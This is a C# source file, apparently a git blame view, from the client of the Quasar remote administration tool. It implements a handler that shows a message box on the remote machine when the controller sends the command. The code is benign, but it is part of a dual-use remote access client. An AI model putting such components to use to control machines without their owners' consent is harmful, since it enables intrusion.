2020-05-26 20:43:49 +00:00
|
|
|
|
using Quasar.Common.Messages;
|
|
|
|
|
using Quasar.Common.Networking;
|
|
|
|
|
using System;
|
|
|
|
|
using System.Threading;
|
|
|
|
|
using System.Windows.Forms;
|
|
|
|
|
|
|
|
|
|
namespace Quasar.Client.Messages
|
|
|
|
|
{
|
2020-05-28 19:10:26 +00:00
|
|
|
|
public class MessageBoxHandler : IMessageProcessor
|
2020-05-26 20:43:49 +00:00
|
|
|
|
{
|
2020-05-28 19:10:26 +00:00
|
|
|
|
public bool CanExecute(IMessage message) => message is DoShowMessageBox;
|
2020-05-26 20:43:49 +00:00
|
|
|
|
|
2020-05-28 19:10:26 +00:00
|
|
|
|
public bool CanExecuteFrom(ISender sender) => true;
|
2020-05-26 20:43:49 +00:00
|
|
|
|
|
2020-05-28 19:10:26 +00:00
|
|
|
|
public void Execute(ISender sender, IMessage message)
|
2020-05-26 20:43:49 +00:00
|
|
|
|
{
|
|
|
|
|
switch (message)
|
|
|
|
|
{
|
|
|
|
|
case DoShowMessageBox msg:
|
|
|
|
|
Execute(sender, msg);
|
|
|
|
|
break;
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
private void Execute(ISender client, DoShowMessageBox message)
|
|
|
|
|
{
|
|
|
|
|
new Thread(() =>
|
|
|
|
|
{
|
2020-05-28 19:10:26 +00:00
|
|
|
|
// messagebox thread resides in csrss.exe - wtf?
|
2020-05-26 20:43:49 +00:00
|
|
|
|
MessageBox.Show(message.Text, message.Caption,
|
|
|
|
|
(MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button),
|
|
|
|
|
(MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon),
|
|
|
|
|
MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly);
|
2020-05-28 19:10:26 +00:00
|
|
|
|
}) {IsBackground = true}.Start();
|
2020-05-26 20:43:49 +00:00
|
|
|
|
|
|
|
|
|
client.Send(new SetStatus { Message = "Successfully displayed MessageBox" });
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|